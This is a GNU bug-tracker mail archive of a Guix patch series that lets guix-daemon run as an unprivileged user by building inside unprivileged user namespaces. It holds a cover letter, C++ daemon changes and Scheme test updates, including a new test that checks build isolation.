Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

DRAFT:

  - Double-check the test suite.

* build-aux/test-env.in: Pass ‘--disable-chroot’ only when unprivileged
user namespace support is lacking.
* tests/store.scm ("build-things, check mode"): Use ‘gettimeofday’
rather than a shared file as a source of entropy.
("isolated environment"): New test.

Change-Id: Iedb816ef548c77799e5b2f9b6a3b7510ad19ec2a
---
 build-aux/test-env.in | 14 ++++++-
 tests/store.scm       | 89 ++++++++++++++++++++++++++-----------------
 2 files changed, 66 insertions(+), 37 deletions(-)

diff --git a/build-aux/test-env.in b/build-aux/test-env.in
index 9caa29da58..5626152b34 100644
--- a/build-aux/test-env.in
+++ b/build-aux/test-env.in
@@ -1,7 +1,7 @@
 #!/bin/sh
 
 # GNU Guix --- Functional package management for GNU
-# Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2021 Ludovic Courtès <ludo@HIDDEN>
+# Copyright © 2012-2019, 2021, 2025 Ludovic Courtès <ludo@HIDDEN>
 #
 # This file is part of GNU Guix.
 #
@@ -102,10 +102,20 @@ then
     rm -rf "$GUIX_STATE_DIRECTORY/daemon-socket"
     mkdir -m 0700 "$GUIX_STATE_DIRECTORY/daemon-socket"
 
+    # If unprivileged user namespaces are not supported, pass
+    # '--disable-chroot'.
+    if [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+       || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]; then
+	extra_options=""
+    else
+	extra_options="--disable-chroot"
+    fi
+
     # Launch the daemon without chroot support because is may be
     # unavailable, for instance if we're not running as root.
     "@abs_top_builddir@/pre-inst-env"				\
-	"@abs_top_builddir@/guix-daemon" --disable-chroot	\
+	"@abs_top_builddir@/guix-daemon"			\
+        $extra_options						\
 	--substitute-urls="$GUIX_BINARY_SUBSTITUTE_URL" &
 
     daemon_pid=$!
diff --git a/tests/store.scm b/tests/store.scm
index 45948f4f43..bdbb026dd9 100644
--- a/tests/store.scm
+++ b/tests/store.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2021, 2023 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2021, 2023, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -30,6 +30,8 @@ (define-module (test-store)
   #:use-module (guix derivations)
   #:use-module (guix serialization)
   #:use-module (guix build utils)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix gexp)
   #:use-module (gnu packages)
   #:use-module (gnu packages bootstrap)
@@ -391,6 +393,32 @@ (define %shell
          (equal? (valid-derivers %store o)
                  (list (derivation-file-name d))))))
 
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "isolated environment"
+  (string-join (append
+                '("PID: 1" "UID: 30001")
+                (delete-duplicates
+                 (sort (list "/dev" "/tmp" "/proc" "/etc"
+                             (match (string-tokenize (%store-prefix)
+                                                     (char-set-complement
+                                                      (char-set #\/)))
+                               ((top _ ...) (string-append "/" top))))
+                       string<?))
+                '("/etc/group" "/etc/hosts" "/etc/passwd")))
+  (let* ((b (add-text-to-store %store "build.sh"
+                               "echo -n PID: $$ UID: $UID /* /etc/* > $out"))
+         (s (add-to-store %store "bash" #t "sha256"
+                          (search-bootstrap-binary "bash"
+                                                   (%current-system))))
+         (d (derivation %store "the-thing"
+                        s `("-e" ,b)
+                        #:env-vars `(("foo" . ,(random-text)))
+                        #:inputs `((,b) (,s))))
+         (o (derivation->output-path d)))
+    (and (build-derivations %store (list d))
+         (call-with-input-file o get-string-all))))
+
 (test-equal "with-build-handler"
   'success
   (let* ((b  (add-text-to-store %store "build" "echo $foo > $out" '()))
@@ -1333,40 +1361,31 @@ (define %shell
 
 (test-assert "build-things, check mode"
   (with-store store
-    (call-with-temporary-output-file
-     (lambda (entropy entropy-port)
-       (write (random-text) entropy-port)
-       (force-output entropy-port)
-       (let* ((drv  (build-expression->derivation
-                     store "non-deterministic"
-                     `(begin
-                        (use-modules (rnrs io ports))
-                        (let ((out (assoc-ref %outputs "out")))
-                          (call-with-output-file out
-                            (lambda (port)
-                              ;; Rely on the fact that tests do not use the
-                              ;; chroot, and thus ENTROPY is readable.
-                              (display (call-with-input-file ,entropy
-                                         get-string-all)
-                                       port)))
-                          #t))
-                     #:guile-for-build
-                     (package-derivation store %bootstrap-guile (%current-system))))
-              (file (derivation->output-path drv)))
-         (and (build-things store (list (derivation-file-name drv)))
-              (begin
-                (write (random-text) entropy-port)
-                (force-output entropy-port)
-                (guard (c ((store-protocol-error? c)
-                           (pk 'determinism-exception c)
-                           (and (not (zero? (store-protocol-error-status c)))
-                                (string-contains (store-protocol-error-message c)
-                                                 "deterministic"))))
-                  ;; This one will produce a different result.  Since we're in
-                  ;; 'check' mode, this must fail.
-                  (build-things store (list (derivation-file-name drv))
-                                (build-mode check))
-                  #f))))))))
+    (let* ((drv  (build-expression->derivation
+                  store "non-deterministic"
+                  `(begin
+                     (use-modules (rnrs io ports))
+                     (let ((out (assoc-ref %outputs "out")))
+                       (call-with-output-file out
+                         (lambda (port)
+                           (let ((now (gettimeofday)))
+                             (display (+ (car now) (cdr now)) port))))
+                       #t))
+                  #:guile-for-build
+                  (package-derivation store %bootstrap-guile (%current-system))))
+           (file (derivation->output-path drv)))
+      (and (build-things store (list (derivation-file-name drv)))
+           (begin
+             (guard (c ((store-protocol-error? c)
+                        (pk 'determinism-exception c)
+                        (and (not (zero? (store-protocol-error-status c)))
+                             (string-contains (store-protocol-error-message c)
+                                              "deterministic"))))
+               ;; This one will produce a different result.  Since we're in
+               ;; 'check' mode, this must fail.
+               (build-things store (list (derivation-file-name drv))
+                             (build-mode check))
+               #f))))))
 
 (test-assert "build-succeeded trace in check mode"
   (string-contains
-- 
2.47.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:20 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Jan 24 12:25:20 2025
Received: from localhost ([127.0.0.1]:46890 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNQk-0003Sl-7c
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:20 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39734)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQh-0003N4-Ab
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:16 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNQc-00082X-0O; Fri, 24 Jan 2025 12:25:10 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=xpCSNZlKD/xC2GsfHtr1wqnKQLVLgRRMGCIqgMVlQ94=; b=QBQPaD4IAa/nSt+g28pj
 jh5L6YWqgV/CvdgjR+5jgXgV4uZTPZX0U2j7ZtZ5TREl0bwCo+g1xRkGJXb9lSR9o+cKFeFifmWRz
 9J/ZZZ58Yd4Y35oVCyuyzSrlvYe4QqIEsf8aB5Rk/3RiOx6aIHd98Aw0FN4GzVz64Z8+HI0adWkeD
 mGIO7H4a9M095pamkOHgr6LhaAbMZJ6EiS+b+fuELhroa+QAeoozF0KcdwBNfZYztFWKYe42epvQ+
 +tn8TFNzuCbPEZ5p7UsD0GMoEZ2UWYq1iZ0Dn9z45sR++NKd+0it6MljZ4KZ0Qzre2xvx5hPyMzWY
 t5y7kS7+4HDZag==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH 1/6] daemon: Allow running as non-root with unprivileged user
 namespaces.
Date: Fri, 24 Jan 2025 18:24:51 +0100
Message-ID: <41862c6aa51aa70c69a348635eb03a5ca8069695.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Debbugs-Cc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic Courtès <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludovic.courtes@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

From: Ludovic Courtès <ludovic.courtes@HIDDEN>

* nix/libstore/build.cc (guestUID, guestGID): New variables.
(initializeUserNamespace): New function.
(DerivationGoal::startBuilder): Call ‘chown’
only when ‘buildUser.enabled()’ is true.  Pass CLONE_NEWUSER to ‘clone’
when ‘buildUser.enabled()’ is false or not running as root.  Retry
‘clone’ without CLONE_NEWUSER upon EPERM.
(DerivationGoal::registerOutputs): Make ‘actualPath’ writable before
‘rename’.
(DerivationGoal::deleteTmpDir): Catch ‘SysError’ around ‘_chown’ call.
* nix/libstore/local-store.cc (LocalStore::createUser): Do nothing if
‘dirs’ already exists.  Warn instead of failing when failing to chown
‘dir’.
* guix/substitutes.scm (%narinfo-cache-directory): Check for
‘_NIX_OPTIONS’ rather than getuid() == 0 to determine the cache
location.

Change-Id: I38fbe01f80fb45a99cd8a391e55a39a54d64fcb7
---
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 123 +++++++++++++++++++++++++++++-------
 nix/libstore/local-store.cc |  22 +++++--
 3 files changed, 118 insertions(+), 31 deletions(-)

diff --git a/guix/substitutes.scm b/guix/substitutes.scm
index e31b394020..2761a3dafb 100644
--- a/guix/substitutes.scm
+++ b/guix/substitutes.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2013-2021, 2023-2024 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2013-2021, 2023-2025 Ludovic Courtès <ludo@HIDDEN>
 ;;; Copyright © 2014 Nikita Karetnikov <nikita@HIDDEN>
 ;;; Copyright © 2018 Kyle Meyer <kyle@HIDDEN>
 ;;; Copyright © 2020 Christopher Baines <mail@HIDDEN>
@@ -76,7 +76,7 @@ (define %narinfo-cache-directory
   ;; time, 'guix substitute' is called by guix-daemon as root and stores its
   ;; cached data in /var/guix/….  However, when invoked from 'guix challenge'
   ;; as a user, it stores its cache in ~/.cache.
-  (if (zero? (getuid))
+  (if (getenv "_NIX_OPTIONS")                     ;invoked by guix-daemon
       (or (and=> (getenv "XDG_CACHE_HOME")
                  (cut string-append <> "/guix/substitute"))
           (string-append %state-directory "/substitute/cache"))
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index edd01bab34..727472c77f 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -1622,6 +1622,25 @@ int childEntry(void * arg)
 }
 
 
+/* UID and GID of the build user inside its own user namespace.  */
+static const uid_t guestUID = 30001;
+static const gid_t guestGID = 30000;
+
+/* Initialize the user namespace of CHILD.  */
+static void initializeUserNamespace(pid_t child)
+{
+    auto hostUID = getuid();
+    auto hostGID = getgid();
+
+    writeFile("/proc/" + std::to_string(child) + "/uid_map",
+	      (format("%d %d 1") % guestUID % hostUID).str());
+
+    writeFile("/proc/" + std::to_string(child) + "/setgroups", "deny");
+
+    writeFile("/proc/" + std::to_string(child) + "/gid_map",
+	      (format("%d %d 1") % guestGID % hostGID).str());
+}
+
 void DerivationGoal::startBuilder()
 {
     auto f = format(
@@ -1685,7 +1704,7 @@ void DerivationGoal::startBuilder()
 	   then an attacker could create in it a hardlink to a root-owned file
 	   such as /etc/shadow.  If 'keepFailed' is true, the daemon would
 	   then chown that hardlink to the user, giving them write access to
-	   that file.  */
+	   that file.  See CVE-2021-27851.  */
 	tmpDir += "/top";
 	if (mkdir(tmpDir.c_str(), 0700) == 1)
 	    throw SysError("creating top-level build directory");
@@ -1802,7 +1821,7 @@ void DerivationGoal::startBuilder()
         if (mkdir(chrootRootDir.c_str(), 0750) == -1)
             throw SysError(format("cannot create ‘%1%’") % chrootRootDir);
 
-        if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootRootDir);
 
         /* Create a writable /tmp in the chroot.  Many builders need
@@ -1821,8 +1840,8 @@ void DerivationGoal::startBuilder()
             (format(
                 "nixbld:x:%1%:%2%:Nix build user:/:/noshell\n"
                 "nobody:x:65534:65534:Nobody:/:/noshell\n")
-                % (buildUser.enabled() ? buildUser.getUID() : getuid())
-                % (buildUser.enabled() ? buildUser.getGID() : getgid())).str());
+                % (buildUser.enabled() ? buildUser.getUID() : guestUID)
+                % (buildUser.enabled() ? buildUser.getGID() : guestGID)).str());
 
         /* Declare the build user's group so that programs get a consistent
            view of the system (e.g., "id -gn"). */
@@ -1859,7 +1878,7 @@ void DerivationGoal::startBuilder()
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
-        if (chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
@@ -1971,14 +1990,42 @@ void DerivationGoal::startBuilder()
     if (useChroot) {
 	char stack[32 * 1024];
 	int flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | SIGCHLD;
-	if (!fixedOutput) flags |= CLONE_NEWNET;
+	Pipe readiness;
+	if (!fixedOutput) {
+	    flags |= CLONE_NEWNET;
+	}
+	if (!buildUser.enabled() || getuid() != 0) {
+	    flags |= CLONE_NEWUSER;
+	    readiness.create();
+	}
+
 	/* Ensure proper alignment on the stack.  On aarch64, it has to be 16
 	   bytes.  */
-	pid = clone(childEntry,
+ 	pid = clone(childEntry,
 		    (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf),
 		    flags, this);
-	if (pid == -1)
-	    throw SysError("cloning builder process");
+	if (pid == -1) {
+	    if ((flags & CLONE_NEWUSER) != 0 && getuid() != 0)
+		/* 'clone' fails with EPERM on distros where unprivileged user
+		   namespaces are disabled.  Error out instead of giving up on
+		   isolation.  */
+		throw SysError("cannot create process in unprivileged user namespace");
+	    else
+		throw SysError("cloning builder process");
+	}
+
+	if ((flags & CLONE_NEWUSER) != 0) {
+	    /* Initialize the UID/GID mapping of the guest.  */
+	    if (pid == 0) {
+		char str[20] = { '\0' };
+		readFull(readiness.readSide, (unsigned char*)str, 3);
+		if (strcmp(str, "go\n") != 0)
+		    throw Error("failed to initialize process in unprivileged user namespace");
+	    } else {
+		initializeUserNamespace(pid);
+		writeFull(readiness.writeSide, (unsigned char*)"go\n", 3);
+	    }
+	}
     } else
 #endif
     {
@@ -2030,17 +2077,19 @@ void DerivationGoal::runChild()
 
 #if CHROOT_ENABLED
         if (useChroot) {
-            /* Initialise the loopback interface. */
-            AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-            if (fd == -1) throw SysError("cannot open IP socket");
+	    if (!fixedOutput) {
+		/* Initialise the loopback interface. */
+		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
+		if (fd == -1) throw SysError("cannot open IP socket");
 
-            struct ifreq ifr;
-            strcpy(ifr.ifr_name, "lo");
-            ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
-            if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
-                throw SysError("cannot set loopback interface flags");
+		struct ifreq ifr;
+		strcpy(ifr.ifr_name, "lo");
+		ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
+		if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
+		    throw SysError("cannot set loopback interface flags");
 
-            fd.close();
+		fd.close();
+	    }
 
             /* Set the hostname etc. to fixed values. */
             char hostname[] = "localhost";
@@ -2463,8 +2512,16 @@ void DerivationGoal::registerOutputs()
             if (buildMode == bmRepair)
               replaceValidPath(path, actualPath);
             else
-              if (buildMode != bmCheck && rename(actualPath.c_str(), path.c_str()) == -1)
-                throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		if (buildMode != bmCheck) {
+		    if (S_ISDIR(st.st_mode))
+			/* Change mode on the directory to allow for
+			   rename(2).  */
+			chmod(actualPath.c_str(), st.st_mode | 0700);
+		    if (rename(actualPath.c_str(), path.c_str()) == -1)
+			throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		    if (S_ISDIR(st.st_mode) && chmod(path.c_str(), st.st_mode) == -1)
+			throw SysError(format("restoring permissions on directory `%1%'") % actualPath);
+		}
           }
           if (buildMode != bmCheck) actualPath = path;
         }
@@ -2723,8 +2780,25 @@ void DerivationGoal::deleteTmpDir(bool force)
             // Change the ownership if clientUid is set. Never change the
             // ownership or the group to "root" for security reasons.
             if (settings.clientUid != (uid_t) -1 && settings.clientUid != 0) {
-                _chown(tmpDir, settings.clientUid,
-                       settings.clientGid != 0 ? settings.clientGid : -1);
+		uid_t uid = settings.clientUid;
+		gid_t gid = settings.clientGid != 0 ? settings.clientGid : -1;
+		try {
+		    _chown(tmpDir, uid, gid);
+
+		    if (getuid() != 0) {
+			/* If, without being root, the '_chown' call above
+			   succeeded, then it means we have CAP_CHOWN.  Retake
+			   ownership of tmpDir itself so it can be renamed
+			   below.  */
+			chown(tmpDir.c_str(), getuid(), getgid());
+		    }
+		} catch (SysError & e) {
+		    /* When running as an unprivileged user and without
+		       CAP_CHOWN, we cannot chown the build tree.  Print a
+		       message and keep going.  */
+		    printMsg(lvlInfo, format("cannot change ownership of build directory '%1%': %2%")
+			     % tmpDir % strerror(e.errNo));
+		}
 
 		if (top != tmpDir) {
 		    // Rename tmpDir to its parent, with an intermediate step.
@@ -2733,6 +2807,11 @@ void DerivationGoal::deleteTmpDir(bool force)
 			throw SysError("pivoting failed build tree");
 		    if (rename((pivot + "/top").c_str(), top.c_str()) == -1)
 			throw SysError("renaming failed build tree");
+
+		    if (getuid() != 0)
+			/* Running unprivileged but with CAP_CHOWN.  */
+			chown(top.c_str(), uid, gid);
+
 		    rmdir(pivot.c_str());
 		}
             }
diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 0883a4bbce..4308264a4f 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -306,14 +306,14 @@ void LocalStore::openDB(bool create)
 void LocalStore::makeStoreWritable()
 {
 #if HAVE_UNSHARE && HAVE_STATVFS && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_REMOUNT)
-    if (getuid() != 0) return;
     /* Check if /nix/store is on a read-only mount. */
     struct statvfs stat;
     if (statvfs(settings.nixStore.c_str(), &stat) != 0)
         throw SysError("getting info about the store mount point");
 
     if (stat.f_flag & ST_RDONLY) {
-        if (unshare(CLONE_NEWNS) == -1)
+	int flags = CLONE_NEWNS | (getpid() == 0 ? 0 : CLONE_NEWUSER);
+        if (unshare(flags) == -1)
             throw SysError("setting up a private mount namespace");
 
         if (mount(0, settings.nixStore.c_str(), "none", MS_REMOUNT | MS_BIND, 0) == -1)
@@ -1614,11 +1614,19 @@ void LocalStore::createUser(const std::string & userName, uid_t userId)
 {
     auto dir = settings.nixStateDir + "/profiles/per-user/" + userName;
 
-    createDirs(dir);
-    if (chmod(dir.c_str(), 0755) == -1)
-	throw SysError(format("changing permissions of directory '%s'") % dir);
-    if (chown(dir.c_str(), userId, -1) == -1)
-	throw SysError(format("changing owner of directory '%s'") % dir);
+    auto created = createDirs(dir);
+    if (!created.empty()) {
+	if (chmod(dir.c_str(), 0755) == -1)
+	    throw SysError(format("changing permissions of directory '%s'") % dir);
+
+	/* The following operation requires CAP_CHOWN or can be handled
+	   manually by a user with CAP_CHOWN.  */
+	if (chown(dir.c_str(), userId, -1) == -1) {
+	    rmdir(dir.c_str());
+	    string message = strerror(errno);
+	    printMsg(lvlInfo, format("failed to change owner of directory '%1%' to %2%: %3%") % dir % userId % message);
+	}
+    }
 }
 
 
-- 
2.47.1





Information forwarded to guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at submit <at> debbugs.gnu.org:


Received: (at submit) by debbugs.gnu.org; 24 Jan 2025 17:23:39 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Jan 24 12:23:39 2025
Received: from localhost ([127.0.0.1]:46876 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNP4-0003JI-FG
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:23:38 -0500
Received: from lists.gnu.org ([2001:470:142::17]:42976)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNP1-0003Iq-4f
 for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:23:32 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10])
 by lists.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tbNOv-0002jg-NH
 for guix-patches@HIDDEN; Fri, 24 Jan 2025 12:23:25 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNOu-0007lR-MV; Fri, 24 Jan 2025 12:23:24 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:Subject:To:From:in-reply-to:
 references; bh=PD6esGgynPOINnX7oSt5mYPBliDR3e5pryXB3tW8/8Y=; b=o5s3EXNxJjPzrE
 QAPCs6SEqUTl9K8Ax/LFlk2P11elT2FIKR+lUR3P1O0PZXD2EK8/2ko/zGqP/I06vUW6fCzWfztCC
 JMufeWCYISqjvsRBj1a2rxWkdhh9fBCDANPrb8b0uMNptCuVvL2g3AoTBGWlzQdMbQfXdHmSkCdMy
 q6lhuJ5FY7omSLwY/RiFK4Taq4sEh0kisiNawfpj/gwQsPUUaL01CUOiBhs3JT+xvkFrZDj7sieZ4
 EBK8WRIYlzu2X7zBKezFo50L/cC49p4OKy5GiuKz7gQdF1GfnCyA/VGWwVMJN68doY2D004fQKtgR
 logQONcnHtvbM+5exx7Q==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: guix-patches@HIDDEN
Subject: [PATCH 0/6] Rootless guix-daemon
Date: Fri, 24 Jan 2025 18:23:08 +0100
Message-ID: <cover.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.0 (/)
X-Debbugs-Envelope-To: submit
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludovic.courtes@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.0 (-)

From: Ludovic Courtès <ludovic.courtes@HIDDEN>

Hello Guix!

That guix-daemon runs as root is not confidence-inspiring for many.
Initially, the main reason for running it as root was, in the absence
of user namespaces, the fact that builders would be started under one
of the build user accounts, which only root can do.  Now that
unprivileged user namespaces are almost ubiquitous (even on HPC
clusters), this is no longer a good reason.

This patch changes guix-daemon so it can run as an unprivileged
user, using unprivileged user namespaces to still support isolated
builds.  There’s a couple of cases where root is/was still necessary:

  1. To create /var/guix/profiles/per-user/$USER and chown it
     as $USER (see CVE-2019-18192).

  2. To chown /tmp/guix-build-* when using ‘--keep-failed’.

Both can be addressed by giving CAP_CHOWN to guix-daemon, and this is
what this patch series does on distros using systemd.  (For some
reason CAP_CHOWN had to be added to the set of “ambient capabilities”,
which are inherited by child processes; this is why there’s a patch
to drop ambient capabilities in build processes.)

On Guix System (not implemented here), we could address (1) by
creating /var/guix/profiles/per-user/$USER upfront for all the
user accounts.  We could leave (2) unaddressed (so failed build
directories would be owned by guix-daemon:guix-daemon) or we’d
have to pass CAP_CHOWN as well.

There’s another issue: /gnu/store can no longer be remounted
read-only (like we do on Guix System and on systemd with
‘gnu-store.mount’) because then unprivileged guix-daemon would
be unable to remount it read-write (or at least I couldn’t find
a way to do that).  Thus ‘guix-install.sh’ no longer installs
‘gnu-store.mount’ in that case.  It’s a bit sad to lose that
so if anyone can think of a way to achieve it, that’d be great.

I tested all this in a Debian VM¹, along these lines:

  1. GUIX_ALLOW_ME_TO_USE_PRIVATE_COMMIT=yes make update-guix-package
  2. ./pre-inst-env guix pack -C zstd guix --without-tests=guix \
        --localstatedir --profile-name=current-guix
  3. Copy ‘guix-install.sh’ and the tarball to the VM over SSH.
  4. In the VM: GUIX_BINARY_FILE_NAME=pack.tar.zst ./guix-install.sh

The next step (in another patch series) would be Guix System support
with automatic transition (essentially “chown -R
guix-daemon:guix-daemon /gnu/store”).

Thoughts?

Ludo’.

¹ https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-12.9.0-amd64-standard.iso

Ludovic Courtès (6):
  daemon: Allow running as non-root with unprivileged user namespaces.
  DRAFT tests: Run in a chroot and unprivileged user namespaces.
  daemon: Create /var/guix/profiles/per-user unconditionally.
  daemon: Drop Linux ambient capabilities before executing builder.
  etc: systemd services: Run ‘guix-daemon’ as an unprivileged user.
  guix-install.sh: Support the unprivileged daemon where possible.

 build-aux/test-env.in       |  14 +++-
 config-daemon.ac            |   2 +-
 etc/guix-daemon.service.in  |  12 +++-
 etc/guix-install.sh         | 114 ++++++++++++++++++++++++-------
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 132 ++++++++++++++++++++++++++++++------
 nix/libstore/local-store.cc |  30 +++++---
